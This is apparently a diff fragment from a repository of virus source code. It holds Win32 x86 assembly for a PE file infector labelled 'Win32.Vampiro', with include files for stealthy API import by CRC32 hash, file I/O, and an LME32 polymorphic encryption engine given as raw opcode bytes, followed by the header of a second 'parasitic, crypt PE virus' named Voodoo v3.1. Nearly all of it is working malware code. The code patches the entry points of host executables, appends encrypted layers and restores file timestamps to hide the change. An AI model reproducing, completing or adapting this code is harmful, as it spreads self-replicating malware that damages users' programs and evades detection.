||||
call $+5
|
||||
delta:
|
||||
cld
|
||||
pop ebp
|
||||
sub ebp, offset delta
|
||||
ret
|
||||
endp
|
||||
|
||||
include import.inc
|
||||
|
||||
infect_it proc
|
||||
call __set_seh
|
||||
mov esp, [esp.8]
|
||||
jmp __1
|
||||
__set_seh:
|
||||
cld
|
||||
sub eax, eax
|
||||
push 4 ptr fs:[eax]
|
||||
mov 4 ptr fs:[eax], esp
|
||||
call infect
|
||||
__1:
|
||||
pop 4 ptr fs:[0]
|
||||
pop eax
|
||||
ret
|
||||
endp
|
||||
|
||||
infect proc
|
||||
; edx - name
|
||||
call fattrg
|
||||
cmp eax, -1
|
||||
jnz __1
|
||||
__2:
|
||||
ret
|
||||
__1: sub ecx, ecx
|
||||
xchg eax, ecx
|
||||
call fattrs
|
||||
test eax, eax
|
||||
jz __2
|
||||
push 2
|
||||
pop eax
|
||||
call open
|
||||
cmp eax, -1
|
||||
xchg eax, ebx
|
||||
jz __2
|
||||
push ecx
|
||||
sub esp, 3*8
|
||||
mov esi, esp
|
||||
push edx
|
||||
call gettime
|
||||
lea edx, [ebp.buffer]
|
||||
push 3Ch+4
|
||||
pop ecx
|
||||
call read
|
||||
jc __close
|
||||
cmp 2 ptr [edx], 'ZM'
|
||||
jnz __close
|
||||
cmp 2 ptr [edx.18h], 40h
|
||||
jb __close
|
||||
push edx
|
||||
movzx edx, 2 ptr [edx.3Ch]
|
||||
mov [ebp.word3C], edx
|
||||
call seek
|
||||
pop edx
|
||||
mov ecx, 0F8h + (28h*8)
|
||||
call read
|
||||
jc __close
|
||||
cmp 2 ptr [edx], 'EP'
|
||||
jnz __close
|
||||
; dll ? if i process dll then skip
|
||||
; this test
|
||||
test 2 ptr [edx.16h], 2000h
|
||||
jnz __close
|
||||
; can run ?
|
||||
test 2 ptr [edx.16h], 0002h
|
||||
jz __close
|
||||
; intel x86 processor ?
|
||||
mov al, [edx.4]
|
||||
and al, 11110000b
|
||||
cmp al, 40h
|
||||
jnz __close
|
||||
; 2..8 sections ?
|
||||
cmp 2 ptr [edx.06h], 8
|
||||
ja __close
|
||||
cmp 2 ptr [edx.06h], 2
|
||||
jb __close
|
||||
; it's already ?
|
||||
mov al, 2Eh
|
||||
cmp 1 ptr [edx.44h], al
|
||||
jz __close
|
||||
mov 1 ptr [edx.44h], al
|
||||
; save EIP
|
||||
mov eax, [edx.28h]
|
||||
mov [ebp.host32_1], eax
|
||||
mov eax, 1000h
|
||||
cmp [edx.38h], eax
|
||||
ja __close
|
||||
cmp [edx.3Ch], eax
|
||||
ja __close
|
||||
lea edi, [ebp.buff]
|
||||
mov ecx, (len_buff)/4
|
||||
sub eax, eax
|
||||
call rnd
|
||||
__loop:
|
||||
sub al, cl
|
||||
rol eax, 1
|
||||
stosd
|
||||
loop __loop
|
||||
; ecx - null
|
||||
mov 4 ptr [edx.58h], ecx
|
||||
call process_it
|
||||
__close:
|
||||
pop edx
|
||||
mov esi, esp
|
||||
call settime
|
||||
add esp, 3*8
|
||||
call close
|
||||
pop eax
|
||||
call fattrs
|
||||
ret
|
||||
endp
|
||||
|
||||
process_it proc
|
||||
movzx eax, 2 ptr [edx.14h]
|
||||
cmp al, 0E0h
|
||||
jnz __1
|
||||
lea edi, [eax+18h+edx]
|
||||
movzx ecx, 2 ptr [edx.6]
|
||||
__loop:
|
||||
; check file
|
||||
mov esi, [edx.28h]
|
||||
cmp 4 ptr [edi.0Ch], esi
|
||||
ja __4
|
||||
push eax
|
||||
mov eax, 4 ptr [edi.0Ch]
|
||||
add eax, 4 ptr [edi.10h]
|
||||
cmp esi, eax
|
||||
pop eax
|
||||
jb __5
|
||||
__4:
|
||||
add edi, 28h
|
||||
loop __loop
|
||||
jmp __1
|
||||
__5: test 1 ptr [edi.27h], 80h
|
||||
jnz __1
|
||||
; read from IP some bytes
|
||||
; for UEP
|
||||
lea esi, [eax+18h+edx]
|
||||
push edx
|
||||
mov eax, [edx.028h]
|
||||
sub eax, [edi.0Ch]
|
||||
add eax, [edi.14h]
|
||||
mov 4 ptr [ebp.forUEP], eax
|
||||
xchg eax, edx
|
||||
call seek
|
||||
lea edx, [ebp.UEP]
|
||||
mov ecx, size_UEP
|
||||
call read
|
||||
pop edx
|
||||
jc __1
|
||||
movzx eax, 2 ptr [edx.6]
|
||||
dec eax
|
||||
imul eax, eax, 28h
|
||||
add esi, eax
|
||||
mov edi, [esi.14h]
|
||||
add edi, [esi.10h]
|
||||
call fsize
|
||||
cmp eax, edi
|
||||
jz __2
|
||||
push edx
|
||||
mov edx, edi
|
||||
call seek
|
||||
push eax
|
||||
mov edx, esp
|
||||
push 4
|
||||
pop ecx
|
||||
call read
|
||||
pop eax
|
||||
cmp eax, 1
|
||||
jz __3
|
||||
call fsize
|
||||
sub eax, edi
|
||||
cmp eax, 100h ; 256 bytes only
|
||||
; if yes then skip it ;)
|
||||
jb __3
|
||||
pop eax
|
||||
jmp __1
|
||||
__3:
|
||||
mov edx, edi
|
||||
call seek
|
||||
call truncate
|
||||
pop edx
|
||||
__2: mov [ebp.flen], edi
|
||||
or 1 ptr [esi.24h+3], 0C0h
|
||||
|
||||
lea edi, [ebp.UEP]
|
||||
mov eax, [edi]
|
||||
mov 4 ptr [ebp.saved], eax
|
||||
mov al, [edi.4]
|
||||
mov 1 ptr [ebp.saved+4], al
|
||||
mov al, 0E9h
|
||||
stosb
|
||||
mov eax, 4 ptr [esi.10h]
|
||||
add eax, 4 ptr [esi.0Ch]
|
||||
sub eax, 4 ptr [ebp.host32_1]
|
||||
sub eax, 5
|
||||
stosd
|
||||
; max 11 layers!
|
||||
push esi
|
||||
; gen 1 layer
|
||||
lea esi, [ebp.start]
|
||||
lea edi, [ebp.buff]
|
||||
mov ecx, vl
|
||||
call lme32
|
||||
; max 10 layer
|
||||
; 2..10
|
||||
push eax
|
||||
push 5
|
||||
pop eax
|
||||
call rnd
|
||||
inc eax
|
||||
shl eax, 1
|
||||
xchg eax, ecx
|
||||
; gen next layers
|
||||
pop eax
|
||||
__8:
|
||||
push ecx
|
||||
; 1 layer <-|
|
||||
; 2 layer ---|
|
||||
mov esi, edi
|
||||
add edi, eax
|
||||
xchg eax, ecx
|
||||
call lme32
|
||||
xchg esi, edi
|
||||
xchg eax, ecx
|
||||
call lme32
|
||||
; edi - 1 layer
|
||||
; esi - 2 layer
|
||||
; eax - length
|
||||
pop ecx
|
||||
loop __8
|
||||
pop esi
|
||||
dec edi
|
||||
dec edi
|
||||
mov 2 ptr [edi], 609Ch
|
||||
add eax, 8
|
||||
xchg eax, edi
|
||||
push eax
|
||||
; edi - virus length
|
||||
mov eax, edi
|
||||
add eax, [edx.3Ch]
|
||||
add eax, [esi.10h]
|
||||
mov ecx, [edx.3Ch]
|
||||
neg ecx
|
||||
and eax, ecx
|
||||
mov [esi.10h], eax
|
||||
cmp [esi.08h], eax
|
||||
ja __x
|
||||
mov [esi.08h], eax
|
||||
__x: mov eax, [esi.08h]
|
||||
add eax, [esi.0Ch]
|
||||
add eax, [edx.38h]
|
||||
mov ecx, [edx.38h]
|
||||
neg ecx
|
||||
and eax, ecx
|
||||
mov [edx.50h], eax
|
||||
call fsize
|
||||
xchg eax, edx
|
||||
call seek
|
||||
pop edx
|
||||
push -1
|
||||
pop eax
|
||||
call rnd
|
||||
db 0BFh
|
||||
flen dd 0
|
||||
mov ecx, [esi.10h]
|
||||
add ecx, [esi.14h]
|
||||
sub ecx, edi
|
||||
mov 1 ptr [ecx+edx-6], al
|
||||
xor al, 'V'
|
||||
mov 1 ptr [ecx+edx-6+1], al
|
||||
mov 4 ptr [ecx+edx-6+2], edi
|
||||
call write
|
||||
mov edx, [ebp.forUEP]
|
||||
call seek
|
||||
lea edx, [ebp.UEP]
|
||||
mov ecx, size_UEP
|
||||
call write
|
||||
mov edx, [ebp.word3C]
|
||||
call seek
|
||||
lea edx, [ebp.buffer]
|
||||
mov ecx, 0F8h + (28h*8)
|
||||
call write
|
||||
__1:
|
||||
ret
|
||||
endp
|
||||
|
||||
rnd proc
|
||||
push ebp
|
||||
push edx ecx eax
|
||||
call $+5
|
||||
$delta:
|
||||
pop ebp
|
||||
sub ebp, offset $delta
|
||||
db 0B8h
|
||||
seed dd ?
|
||||
imul eax, eax, 8088405h
|
||||
inc eax
|
||||
mov [ebp.seed], eax
|
||||
pop ecx
|
||||
jecxz __1
|
||||
xor edx, edx
|
||||
div ecx
|
||||
xchg eax, edx
|
||||
__1:
|
||||
pop ecx edx
|
||||
pop ebp
|
||||
ret
|
||||
endp
|
||||
|
||||
include fio.inc
|
||||
include lme32.inc
|
||||
|
||||
vl equ ($-start)
|
||||
|
||||
buff:
|
||||
db (11*2000)+vl*2 dup (?)
|
||||
db 1000h dup (?)
|
||||
len_buff equ $-buff
|
||||
buffer db 0F8h + (28h*8) dup (?)
|
||||
word3C dd ?
|
||||
size_UEP equ 5
|
||||
UEP db size_UEP dup (?)
|
||||
forUEP dd ?
|
||||
|
||||
_vl equ ($-start)
|
||||
|
||||
.code
|
||||
host32:
|
||||
db 0E9h
|
||||
dd 0
|
||||
push 0
|
||||
zcall ExitProcess
|
||||
db 'Win32.Vampiro.'
|
||||
db vl / 1000 mod 10 + '0'
|
||||
db vl / 100 mod 10 + '0'
|
||||
db vl / 10 mod 10 + '0'
|
||||
db vl / 1 mod 10 + '0'
|
||||
real_start:
|
||||
pushf
|
||||
pusha
|
||||
jmp start
|
||||
end real_start
|
||||
|
||||
--[1.inc]--------------------------------------------------------------------->8
|
||||
|
||||
zcall macro api
|
||||
extrn api: proc
|
||||
call api
|
||||
endm
|
||||
|
||||
CRC32_init equ 0EDB88320h
|
||||
CRC32_num equ 0FFFFFFFFh
|
||||
|
||||
CRC32_eax macro string
|
||||
db 0B8h
|
||||
CRC32 string
|
||||
endm
|
||||
|
||||
CRC32 macro string
|
||||
crcReg = CRC32_num
|
||||
irpc _x,<string>
|
||||
ctrlByte = '&_x&' xor (crcReg and 0FFh)
|
||||
crcReg = crcReg shr 8
|
||||
rept 8
|
||||
ctrlByte = (ctrlByte shr 1) xor (CRC32_init * (ctrlByte and 1))
|
||||
endm
|
||||
crcReg = crcReg xor ctrlByte
|
||||
endm
|
||||
dd crcReg
|
||||
endm
|
||||
|
||||
import_beg macro kernel
|
||||
db '&kernel&',0
|
||||
endm
|
||||
import_nam macro name
|
||||
CRC32 &name&
|
||||
local b
|
||||
b=0
|
||||
irpc a,<name>
|
||||
IF b EQ 0
|
||||
db '&a&'
|
||||
ENDIF
|
||||
b=b+1
|
||||
endm
|
||||
&name& dd 0
|
||||
endm
|
||||
import_end macro
|
||||
dd 0
|
||||
endm
|
||||
|
||||
MAX_PATH = 260
|
||||
|
||||
find_str struc
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime dq ?
|
||||
ftLastAccessTime dq ?
|
||||
ftLastWriteTime dq ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName db MAX_PATH dup (?)
|
||||
cAlternateFileName db 14 dup (?)
|
||||
ends
|
||||
|
||||
unicode macro text
|
||||
irpc _x,<text>
|
||||
db '&_x&',0
|
||||
endm
|
||||
db 0,0
|
||||
endm
|
||||
|
||||
hook macro name
|
||||
local b
|
||||
b=0
|
||||
irpc a,<name>
|
||||
IF b EQ 0
|
||||
db '&a&'
|
||||
ENDIF
|
||||
b=b+1
|
||||
endm
|
||||
CRC32 &name&
|
||||
dw offset h&name&-start
|
||||
dw offset _&name&-start
|
||||
endm
|
||||
|
||||
dtime struc
|
||||
wYear dw ?
|
||||
wMonth dw ?
|
||||
wDayOfWeek dw ?
|
||||
wDay dw ?
|
||||
wHour dw ?
|
||||
wMinute dw ?
|
||||
wSecond dw ?
|
||||
wMilliseconds dw ?
|
||||
ends
|
||||
|
||||
--[import.inc]---------------------------------------------------------------->8
|
||||
|
||||
get_proc proc
|
||||
push ebp
|
||||
; in:
|
||||
; eax - CRC32
|
||||
; ebx - DLL offset
|
||||
; dl - first char
|
||||
; out:
|
||||
; eax - API address
|
||||
; [ecx+ebx] - offset API address in table
|
||||
; ebx - offset DLL
|
||||
mov edi, [ebx+3Ch]
|
||||
mov edi, [edi+78h+ebx]
|
||||
mov ecx, [edi+18h+ebx]
|
||||
mov esi, [edi+20h+ebx]
|
||||
__1:
|
||||
mov ebp, [esi+ebx]
|
||||
add ebp, ebx
|
||||
cmp 1 ptr [ebp], dl
|
||||
jnz __2
|
||||
push ebx ecx
|
||||
; use ebx, ecx
|
||||
; ebp - offset to name'z
|
||||
xor ebx, ebx
|
||||
dec ebx
|
||||
__5:
|
||||
xor bl, 1 ptr [ebp]
|
||||
inc ebp
|
||||
mov cl, 7
|
||||
__3:
|
||||
shr ebx, 1
|
||||
jnc __4
|
||||
xor ebx, CRC32_init
|
||||
__4:
|
||||
dec cl
|
||||
jns __3
|
||||
cmp 1 ptr [ebp], 0
|
||||
jnz __5
|
||||
cmp eax, ebx
|
||||
pop ecx ebx
|
||||
jz __6
|
||||
__2:
|
||||
add esi, 4
|
||||
loop __1
|
||||
__6:
|
||||
sub ecx, [edi+18h+ebx]
|
||||
neg ecx
|
||||
add ecx, ecx
|
||||
add ecx, [edi+24h+ebx]
|
||||
add ecx, ebx
|
||||
movzx ecx, 2 ptr [ecx]
|
||||
shl ecx, 2
|
||||
add ecx, [edi+1Ch+ebx]
|
||||
mov eax, [ecx+ebx]
|
||||
add eax, ebx
|
||||
pop ebp
|
||||
ret
|
||||
endp
|
||||
|
||||
import proc
|
||||
mov ebx, [ebp.k32]
|
||||
CRC32_eax GetModuleHandleA
|
||||
mov dl, 'G'
|
||||
call get_proc
|
||||
mov [ebp.GetModuleHandleA], eax
|
||||
CRC32_eax LoadLibraryA
|
||||
mov dl, 'L'
|
||||
call get_proc
|
||||
mov [ebp.LoadLibraryA], eax
|
||||
lea esi, [ebp.import_table]
|
||||
__1:
|
||||
push esi
|
||||
call [ebp.GetModuleHandleA]
|
||||
test eax, eax
|
||||
jnz __2
|
||||
; if library not load ...
|
||||
push esi
|
||||
call [ebp.LoadLibraryA]
|
||||
__2:
|
||||
xchg eax, ebx
|
||||
__3:
|
||||
lodsb
|
||||
test al, al
|
||||
jnz __3
|
||||
__4:
|
||||
lodsd
|
||||
test eax, eax
|
||||
jz __5
|
||||
mov dl, [esi]
|
||||
inc esi
|
||||
push esi
|
||||
call get_proc
|
||||
pop edi
|
||||
stosd
|
||||
mov esi, edi
|
||||
jmp __4
|
||||
__5:
|
||||
cmp [esi], eax
|
||||
jnz __1
|
||||
ret
|
||||
endp
|
||||
|
||||
GetModuleHandleA dd 0
|
||||
LoadLibraryA dd 0
|
||||
k32 dd 0BFF70000h
|
||||
|
||||
--[fio.inc]------------------------------------------------------------------->8
|
||||
|
||||
truncate proc
|
||||
pushad
|
||||
push ebx
|
||||
call [ebp.SetEndOfFile]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
|
||||
fsize proc
|
||||
pushad
|
||||
push 0 ebx
|
||||
call [ebp.GetFileSize]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
|
||||
gettime proc
|
||||
pushad
|
||||
; esi - addres struc
|
||||
;
|
||||
; CONST FILETIME * lpftLastWrite // time the file was last written
|
||||
; CONST FILETIME * lpftLastAccess, // time the file was last accessed
|
||||
; CONST FILETIME * lpftCreation, // time the file was created
|
||||
;
|
||||
; filetime struc
|
||||
; dwLowDateTime dd ?
|
||||
; dwHighDateTime dd ?
|
||||
; ends
|
||||
push esi
|
||||
lodsd
|
||||
lodsd
|
||||
push esi
|
||||
lodsd
|
||||
lodsd
|
||||
push esi ebx
|
||||
call [ebp.GetFileTime]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
|
||||
settime proc
|
||||
pushad
|
||||
; esi - addres struc
|
||||
;
|
||||
; CONST FILETIME * lpftLastWrite // time the file was last written
|
||||
; CONST FILETIME * lpftLastAccess, // time the file was last accessed
|
||||
; CONST FILETIME * lpftCreation, // time the file was created
|
||||
;
|
||||
; filetime struc
|
||||
; dwLowDateTime dd ?
|
||||
; dwHighDateTime dd ?
|
||||
; ends
|
||||
push esi
|
||||
lodsd
|
||||
lodsd
|
||||
push esi
|
||||
lodsd
|
||||
lodsd
|
||||
push esi ebx
|
||||
call [ebp.SetFileTime]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
fattrs proc
|
||||
pushad
|
||||
push eax edx
|
||||
call [ebp.SetFileAttributesA]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
fattrg proc
|
||||
pushad
|
||||
push edx
|
||||
call [ebp.GetFileAttributesA]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
open proc
|
||||
pushad
|
||||
; eax - mode
|
||||
; edx - name
|
||||
;
|
||||
; OF_READ Opens the file for reading only.
|
||||
; OF_READWRITE Opens the file for reading and writing.
|
||||
; OF_WRITE Opens the file for writing only.
|
||||
push eax edx
|
||||
call [ebp._lopen]
|
||||
n_chk:
|
||||
mov [esp.1Ch], eax
|
||||
popad
|
||||
ret
|
||||
endp
|
||||
|
||||
close proc
|
||||
pushad
|
||||
push ebx
|
||||
call [ebp.CloseHandle]
|
||||
popad
|
||||
ret
|
||||
endp
|
||||
|
||||
write proc
|
||||
pushad
|
||||
push eax
|
||||
mov eax, esp
|
||||
push 0
|
||||
push eax
|
||||
push ecx edx ebx
|
||||
call [ebp.WriteFile]
|
||||
jmp n_check
|
||||
endp
|
||||
|
||||
read proc
|
||||
; ecx - length
|
||||
; ebx - handle
|
||||
; edx - buffer
|
||||
pushad
|
||||
push eax
|
||||
mov eax, esp
|
||||
push 0
|
||||
push eax
|
||||
push ecx edx ebx
|
||||
call [ebp.ReadFile]
|
||||
n_check:
|
||||
pop eax
|
||||
mov [esp.1Ch], eax
|
||||
popad
|
||||
cmp eax, ecx
|
||||
jz __1
|
||||
stc
|
||||
__1:
|
||||
ret
|
||||
endp
|
||||
|
||||
seek proc
|
||||
pushad
|
||||
push 0 0 edx ebx
|
||||
call [ebp.SetFilePointer]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
--[lme32.inc]----------------------------------------------------------------->8
|
||||
|
||||
; LME32 v.1.0
|
||||
;
|
||||
; ECX - length
|
||||
; EDI - buffer
|
||||
; ESI - source
|
||||
;
|
||||
; must be in r/w section
|
||||
|
||||
lme32:
|
||||
db 060h,0E8h,00Fh,000h,000h,000h
|
||||
lme32_random dd 0
|
||||
db 05Bh,04Ch,04Dh,045h
|
||||
db 033h,032h,02Eh,031h,031h,037h,033h,05Dh,081h,0EDh,006h,020h,040h,000h
|
||||
db 0C1h,0E9h,002h,041h,089h,08Dh,0D3h,021h,040h,000h,089h,0BDh,0E5h,021h
|
||||
db 040h,000h,089h,0B5h,0CEh,021h,040h,000h,0C7h,085h,025h,022h,040h,000h
|
||||
db 0EFh,000h,000h,000h,08Dh,0B5h,030h,022h,040h,000h,0E8h,00Fh,003h,000h
|
||||
db 000h,0B0h,003h,0FFh,0D6h,040h,091h,051h,0E8h,070h,002h,000h,000h,059h
|
||||
db 0E2h,0F7h,0B0h,0E8h,0AAh,02Bh,0C0h,0ABh,08Bh,0C7h,02Bh,085h,0E5h,021h
|
||||
db 040h,000h,089h,085h,0BCh,021h,040h,000h,0E8h,0E7h,002h,000h,000h,0E8h
|
||||
db 0ABh,001h,000h,000h,088h,085h,046h,021h,040h,000h,050h,00Fh,0B6h,0C0h
|
||||
db 00Fh,0B3h,085h,025h,022h,040h,000h,058h,00Ch,058h,0AAh,0E8h,091h,001h
|
||||
db 000h,000h,050h,00Fh,0B6h,0C0h,00Fh,0B3h,085h,025h,022h,040h,000h,058h
|
||||
db 088h,085h,077h,021h,040h,000h,08Bh,095h,0D3h,021h,040h,000h,0E8h,053h
|
||||
db 001h,000h,000h,0E8h,0A6h,002h,000h,000h,0E8h,0B1h,002h,000h,000h,06Ah
|
||||
db 0FFh,058h,0FFh,095h,006h,020h,040h,000h,089h,085h,0E1h,020h,040h,000h
|
||||
db 0B0h,081h,0AAh,0E8h,04Ah,001h,000h,000h,0B0h,0E8h,074h,002h,0B0h,0C0h
|
||||
db 09Ch,00Ah,085h,046h,021h,040h,000h,0AAh,089h,0BDh,082h,021h,040h,000h
|
||||
db 0B8h,064h,022h,002h,002h,0ABh,09Dh,074h,006h,0F7h,09Dh,0E1h,020h,040h
|
||||
db 000h,0E8h,062h,002h,000h,000h,0B0h,003h,0FFh,0D6h,003h,0C0h,08Bh,09Ch
|
||||
db 005h,0F5h,021h,040h,000h,066h,089h,09Dh,0DDh,021h,040h,000h,08Bh,084h
|
||||
db 005h,0EFh,021h,040h,000h,00Ah,0A5h,046h,021h,040h,000h,066h,0ABh,089h
|
||||
db 0BDh,0C7h,021h,040h,000h,0ABh,06Ah,0FFh,058h,0FFh,095h,006h,020h,040h
|
||||
db 000h,089h,085h,0D8h,021h,040h,000h,0ABh,0E8h,023h,002h,000h,000h,0B0h
|
||||
db 083h,0AAh,0E8h,0DBh,000h,000h,000h,066h,0B8h,0C0h,004h,074h,004h,066h
|
||||
db 0B8h,0E8h,0FCh,00Ch,003h,066h,0ABh,0E8h,008h,002h,000h,000h,0B0h,048h
|
||||
db 00Ah,085h,077h,021h,040h,000h,0AAh,0E8h,0FAh,001h,000h,000h,0E8h,005h
|
||||
db 002h,000h,000h,0B0h,003h,0FFh,0D6h,08Dh,09Dh,0FBh,021h,040h,000h,0D7h
|
||||
db 0AAh,08Ah,085h,077h,021h,040h,000h,0C0h,0E0h,003h,00Ch,000h,00Ch,0C0h
|
||||
db 0AAh,066h,0B8h,00Fh,085h,066h,0ABh,0B8h,0E0h,098h,040h,000h,02Bh,0C7h
|
||||
db 0ABh,050h,00Fh,0B6h,085h,046h,021h,040h,000h,00Fh,0ABh,085h,025h,022h
|
||||
db 040h,000h,058h,050h,00Fh,0B6h,085h,077h,021h,040h,000h,00Fh,0ABh,085h
|
||||
db 025h,022h,040h,000h,058h,0E8h,0A8h,001h,000h,000h,0E8h,0B3h,001h,000h
|
||||
db 000h,08Bh,0C7h,02Bh,085h,0E5h,021h,040h,000h,02Dh,030h,002h,000h,000h
|
||||
db 003h,085h,0E1h,020h,040h,000h,0BAh,0F8h,098h,040h,000h,089h,002h,0BEh
|
||||
db 02Bh,082h,040h,000h,0B9h,015h,005h,000h,000h,0BAh,084h,056h,0BAh,05Ah
|
||||
db 0ADh,003h,0C2h,0ABh,0E2h,0FAh,08Bh,0C7h,02Dh,07Dh,096h,040h,000h,089h
|
||||
db 044h,024h,01Ch,061h,0C3h,081h,0B0h,081h,080h,081h,0A8h,033h,0C2h,02Bh
|
||||
db 0C2h,003h,0C2h,085h,023h,00Bh,0E8h,013h,000h,000h,000h,074h,006h,00Ch
|
||||
db 0B8h,0AAh,092h,0ABh,0C3h,050h,0B0h,068h,0AAh,092h,0ABh,058h,00Ch,058h
|
||||
db 0AAh,0C3h,050h,0B0h,002h,0FFh,0D6h,085h,0C0h,058h,0C3h,053h,0B0h,008h
|
||||
db 0FFh,0D6h,0BBh,0EFh,000h,000h,000h,00Fh,0A3h,0C3h,073h,0F2h,05Bh,0C3h
|
||||
db 00Fh,0B6h,0C0h,0FFh,0A5h,006h,020h,040h,000h,080h,0CCh,0C0h,0C0h,0E0h
|
||||
db 003h,00Ah,0C4h,0AAh,0C3h,008h,047h,0FFh,0C3h,00Ch,0C0h,0AAh,0B0h,008h
|
||||
db 0FFh,0D6h,03Ch,006h,074h,0F8h,0C0h,0E0h,003h,008h,047h,0FFh,0C3h,00Ch
|
||||
db 0C0h,0C0h,0E4h,003h,00Ah,0C4h,0AAh,0B0h,0FFh,0FFh,0D6h,0AAh,0C3h,08Bh
|
||||
db 039h,002h,07Fh,0B7h,039h,002h,040h,0BFh,039h,002h,040h,087h,039h,002h
|
||||
db 0BFh,003h,039h,002h,07Fh,013h,039h,002h,07Fh,023h,039h,002h,07Fh,00Bh
|
||||
db 039h,002h,07Fh,02Bh,039h,002h,07Fh,01Bh,039h,002h,07Fh,033h,039h,002h
|
||||
db 07Fh,040h,043h,002h,07Fh,048h,043h,002h,07Fh,039h,039h,002h,03Fh,085h
|
||||
db 039h,002h,03Fh,0D1h,047h,002h,07Fh,0D3h,047h,002h,07Fh,0A4h,059h,002h
|
||||
db 040h,0ACh,059h,002h,040h,0C8h,043h,002h,040h,0ABh,039h,002h,080h,0B3h
|
||||
db 039h,002h,080h,0BBh,039h,002h,080h,0E8h,09Eh,000h,000h,000h,0B8h,064h
|
||||
db 067h,0FFh,036h,0ABh,02Bh,0C0h,066h,0ABh,0E8h,07Fh,000h,000h,000h,0E8h
|
||||
db 08Ah,000h,000h,000h,0B0h,0E8h,0AAh,0ABh,057h,0E8h,070h,000h,000h,000h
|
||||
db 0E8h,07Bh,000h,000h,000h,0B8h,064h,067h,08Fh,006h,0ABh,02Bh,0C0h,066h
|
||||
db 0ABh,0E8h,05Ch,000h,000h,000h,0E8h,067h,000h,000h,000h,0B0h,0E9h,0AAh
|
||||
db 0ABh,08Bh,0D7h,0E8h,04Ch,000h,000h,000h,0E8h,057h,000h,000h,000h,058h
|
||||
db 08Bh,0DFh,02Bh,0D8h,089h,058h,0FCh,0E8h,03Ah,000h,000h,000h,0E8h,045h
|
||||
db 000h,000h,000h,0B8h,064h,067h,08Fh,006h,0ABh,02Bh,0C0h,066h,0ABh,0E8h
|
||||
db 026h,000h,000h,000h,0E8h,031h,000h,000h,000h,0B8h,064h,067h,0FFh,026h
|
||||
db 0ABh,02Bh,0C0h,066h,0ABh,0E8h,012h,000h,000h,000h,0B0h,0FFh,0FFh,0D6h
|
||||
db 0AAh,0E8h,008h,000h,000h,000h,08Bh,0C7h,02Bh,0C2h,089h,042h,0FCh,0C3h
|
||||
db 0B0h,005h,0FFh,0D6h,040h,091h,051h,0E8h,013h,000h,000h,000h,059h,0E2h
|
||||
db 0F7h,0C3h,080h,0BDh,07Eh,023h,040h,000h,001h,075h,005h,0E8h,009h,000h
|
||||
db 000h,000h,0C3h,0B0h,004h,0FFh,0D6h,022h,0C0h,075h,049h,0B0h,000h,084h
|
||||
db 0C0h,075h,012h,0FEh,085h,07Eh,023h,040h,000h,0B0h,0E8h,0AAh,089h,0BDh
|
||||
db 09Eh,023h,040h,000h,0ABh,0EBh,031h,0E8h,085h,0FEh,0FFh,0FFh,00Ch,0B8h
|
||||
db 0AAh,0B8h,034h,099h,040h,000h,08Bh,0DFh,02Bh,0D8h,057h,097h,093h,083h
|
||||
db 0E8h,004h,0ABh,05Fh,0B0h,0C3h,0AAh,06Ah,0FFh,058h,0FFh,095h,006h,020h
|
||||
db 040h,000h,066h,0ABh,0C1h,0E8h,010h,0AAh,0FEh,08Dh,07Eh,023h,040h,000h
|
||||
db 0B0h,01Ah,0FFh,0D6h,03Ch,019h,075h,016h,0E8h,009h,000h,000h,000h,0F8h
|
||||
db 0FCh,0FAh,0F5h,0FBh,090h,0F9h,0FDh,09Eh,05Bh,0B0h,009h,0FFh,0D6h,0D7h
|
||||
db 0AAh,0C3h,03Ch,018h,075h,017h,052h,06Ah,0FFh,058h,0FFh,095h,006h,020h
|
||||
db 040h,000h,092h,0E8h,027h,0FEh,0FFh,0FFh,0E8h,001h,0FEh,0FFh,0FFh,05Ah
|
||||
db 0C3h,03Ch,017h,075h,01Dh,0B0h,08Dh,0AAh,0E8h,014h,0FEh,0FFh,0FFh,03Ch
|
||||
db 005h,074h,0F7h,0C0h,0E0h,003h,00Ch,005h,0AAh,06Ah,0FFh,058h,0FFh,095h
|
||||
db 006h,020h,040h,000h,0ABh,0C3h,08Dh,09Ch,085h,067h,022h,040h,000h,0E8h
|
||||
db 0EAh,0FDh,0FFh,0FFh,074h,003h,0B0h,066h,0AAh,0F6h,043h,003h,03Fh,075h
|
||||
db 003h,0B0h,00Fh,0AAh,08Ah,003h,0AAh,08Ah,043h,003h,024h,0C0h,03Ch,000h
|
||||
db 075h,016h,0B0h,008h,0FFh,095h,006h,020h,040h,000h,08Ah,0C8h,0B0h,008h
|
||||
db 0FFh,095h,006h,020h,040h,000h,08Ah,0E1h,0EBh,02Bh,03Ch,040h,075h,015h
|
||||
db 0E8h,0BAh,0FDh,0FFh,0FFh,08Ah,0C8h,0B0h,008h,0FFh,095h,006h,020h,040h
|
||||
db 000h,08Ah,0E0h,08Ah,0C1h,0EBh,012h,0E8h,0A5h,0FDh,0FFh,0FFh,08Ah,0C8h
|
||||
db 0E8h,09Eh,0FDh,0FFh,0FFh,03Ah,0C1h,074h,0F0h,08Ah,0E1h,00Fh,0B7h,05Bh
|
||||
db 001h,08Dh,09Ch,01Dh,000h,020h,040h,000h,0FFh,0D3h,0C3h
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,816 @@
|
||||
; ============================ Win32.Voodoo_v3.1 ===========================
|
||||
; Program : Voodoo v3.1
|
||||
; Description : Parasitic,crypt PE virus
|
||||
; Last modified : 01.09.1999
|
||||
; Purpose : process handling under win32
|
||||
; Target OS : Win95/98/NT
|
||||
; Notes :
|
||||
ImBase equ 00400000h
|
||||
Entyp equ 00001000h
|
||||
ADDC equ ImBase+Entyp+5
|
||||
DiskCount EqU 4
|
||||
FileCount EqU 1
|
||||
SYSTEM32CRC EQU 04C6D9398h
|
||||
.386p
|
||||
.model flat
|
||||
VirSize EQU offset Voodoo_Ver_3_0E - offset Voodoo_Ver_3_1
|
||||
MemSize Equ 2300h
|
||||
extrn ExitProcess:PROC
|
||||
include win32con.inc ; ®¯¨á ¨¥ consts
|
||||
.DATA
|
||||
db 0
|
||||
flag dd 12345678h
|
||||
CheckSum EQU 0B0966F54h
|
||||
